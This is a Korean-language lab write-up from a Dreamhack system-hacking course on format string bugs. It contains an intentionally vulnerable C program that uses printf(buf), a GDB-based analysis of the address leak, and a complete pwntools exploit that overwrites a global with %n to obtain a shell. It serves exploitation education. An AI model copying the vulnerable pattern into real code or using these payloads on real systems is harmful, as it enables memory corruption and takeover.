[Dreamhack System Hacking] STAGE 10 - 함께실습
[함께실습] Exploit Tech: Format String Bug
1. Format String Bug
1) Format String Bug
- printf 함수 등 포맷 스트링을 사용하는 모든 함수는 해당 버그가 발생할 수 있음 (fprintf, sprintf 등)
2) 예제 코드
- 목표 : changeme의 값을 1337로 바꾸기
// Name: fsb_overwrite.c
// Compile: gcc -o fsb_overwrite fsb_overwrite.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void get_string(char *buf, size_t size) {
ssize_t i = read(0, buf, size);
if (i == -1) {
perror("read");
exit(1);
}
if (i < size) {
if (i > 0 && buf[i - 1] == '\n') i--;
buf[i] = 0;
}
}
int changeme;
int main() {
char buf[0x20];
setbuf(stdout, NULL);
while (1) {
get_string(buf, 0x20);
printf(buf);
puts("");
if (changeme == 1337) {
system("/bin/sh");
}
}
}
2. 분석
1) 보호 기법
- PIE, NX 등의 보호 기법이 적용되어 있음
- 강의에선 Canary도 적용되어 있는데 왜인지 모르겠지만 실제로 해보니 적용되있지 않은 것을 확인할 수 있음
2) 코드 분석
- get_string 함수를 통해 buf에 32바이트를 입력 받음
- 사용자가 입력한 buf를 printf 함수의 인자로 직접 사용하므로 포맷 스트링 버그 취약점 발생
3. 익스플로잇 설계
1) changeme 주소 구하기
- changeme의 값을 조작하려면 해당 변수의 주소를 먼저 알아내야 함
- 바이너리에는 PIE 보호 기법이 적용되어 있으므로, 전역 변수인 changeme의 주소는 실행할 때마다 바뀜
- 따라서 PIE 베이스 주소를 먼저 구하고, 그 주소를 기준으로 changeme의 주소를 계산해야 함
2) changeme를 1337로 설정하기
- get_string으로 changeme의 주소를 스택에 저장하면, printf 함수에서 %n으로 changeme의 값을 조작할 수 있음
- 1337바이트의 문자열을 미리 출력하고, 위 방법으로 changeme에 값을 쓰면 changeme를 1337로 설정할 수 있음
4. changeme 주소 구하기
- disassemble main 명령어를 사용해 printf 함수가 호출되는 오프셋을 찾고 해당 위치에 브레이크포인트를 설정
- run 명령어를 통해 프로그램을 실행하면 get_string 함수에서 입력을 받음
- 특정한 값을 입력한 후 브레이크포인트가 걸리면 다음과 같은 결과를 확인할 수 있음
- RSP+16에 저장된 0x555555554970이 코드 영역에 포함되므로, 이 주소를 사용하면 PIE 베이스 주소를 구할 수 있음
- x64 환경에서 printf 함수는 RDI에 포맷 스트링을, RSI, RDX, RCX, R8, R9 그리고 스택에 포맷 스트링의 인자를 전달
- printf 함수의 인자를 순서대로 정리한 표 ([RSP+16]은 포맷 스트링의 8번째 인자이므로, %8$p로 접근할 수 있다.)
포맷 스트링 인자 | 값 |
RSI | 0x7fffffffe420 |
RDX | 0x8 |
RCX | 0x7ffff7af2151 |
R8 | 0x7ffff7dcf8c0 |
R9 | 0x7ffff7fe24c0 |
[RSP] | “12345678” |
[RSP+8] | 0x0 |
[RSP+16] | 0x555555554970 |
- vmmap의 실행 결과를 활용하면, RSP+16에 저장된 값과 PIE 베이스 주소의 기준 주소와의 차이가 0x970임을 알 수 있음
- %8$p로 출력한 주소에서 0x970을 빼고, changeme의 오프셋을 더하면 changme의 주소를 구할 수 있음
- changeme의 오프셋은 다음 명령어로 확인할 수 있음
- 이를 이용하여 pwntools 스크립트를 작성하면 다음과 같이 코드 영역이 매핑된 주소와 changeme 변수의 주소를 구할 수 있음
from pwn import *
def slog(n, m): return success(": ".join([n, hex(m)]))
p = process("./fsb_overwrite")
elf = ELF("./fsb_overwrite")
context.arch = "amd64"
# [1] Get Address of changeme
p.sendline("%8$p") # FSB
leaked = int(p.recvline()[:-1], 16)
code_base = leaked - elf.symbols["__libc_csu_init"]
changeme = code_base + elf.symbols["changeme"]
slog("code_base", code_base)
slog("changeme", changeme)
5. 1337 길이의 문자열 출력
- %n은 현재까지 출력된 문자열의 길이를 인자에 저장
- 따라서 해당 형식 지정자로 changeme 변수에 1,337을 쓰려면 1,337바이트 길이의 문자열을 먼저 출력해야 함
- 예제에서는 입력받는 길이를 0x20으로 제한하므로 1,337개의 문자열을 직접 입력할 수 없음
-> 이럴 때는 포맷 스트링의 width 속성을 사용 가능
- 포맷 스트링의 width는 출력의 최소 길이를 지정하고, 출력할 문자의 길이가 최소 길이보다 작으면 그만큼 패딩 문자를 추가
Ex. %1337c에 대응되는 인자의 길이가 1,337보다 작으면, 인자를 출력하고 남은 길이를 공백으로 출력합니다.
// Name: fsb_minwidth.c
// Compile: gcc -o fsb_minwidth fsb_minwidth.c
int main() {
printf("%10d\n", 123);
printf("%20c\n", 'A');
}
6. changeme 덮어쓰기
- changeme 변수의 주소를 알고, 1337의 길이를 갖는 문자열도 출력할 수 있으므로, 다음과 같은 포맷 스트링을 구성하면 changme의 값을 1337로 쓸 수 있음
- 포맷 스트링을 구성하고, 익스플로잇을 실행하면 아래 실행 결과와 같이 출력
- 이렇게 셸을 획득할 수 있다.
<전체 익스플로잇 코드>
# Name: get_changeme.py
#!/usr/bin/python3
from pwn import *
def slog(n, m): return success(": ".join([n, hex(m)]))
p = process("./fsb_overwrite")
elf = ELF("./fsb_overwrite")
context.arch = "amd64"
# [1] Get Address of changeme
p.sendline("%8$p") # FSB
leaked = int(p.recvline()[:-1], 16)
code_base = leaked - elf.symbols["__libc_csu_init"]
changeme = code_base + elf.symbols["changeme"]
slog("code_base", code_base)
slog("changeme", changeme)
# [2] Overwrite changeme
payload = "%1337c" # 1337을 min width로 하는 문자를 출력해 1337만큼 문자열이 사용되게 합니다.
payload += "%8$n" # 현재까지 사용된 문자열의 길이를 8번째 인자(p64(changeme)) 주소에 작성합니다.
payload += "A"*6 # 8의 배수를 위한 패딩입니다.
payload = payload.encode() + p64(changeme) # 페이로드 16바이트 뒤에 changeme 변수의 주소를 작성합니다.
p.sendline(payload)
p.interactive()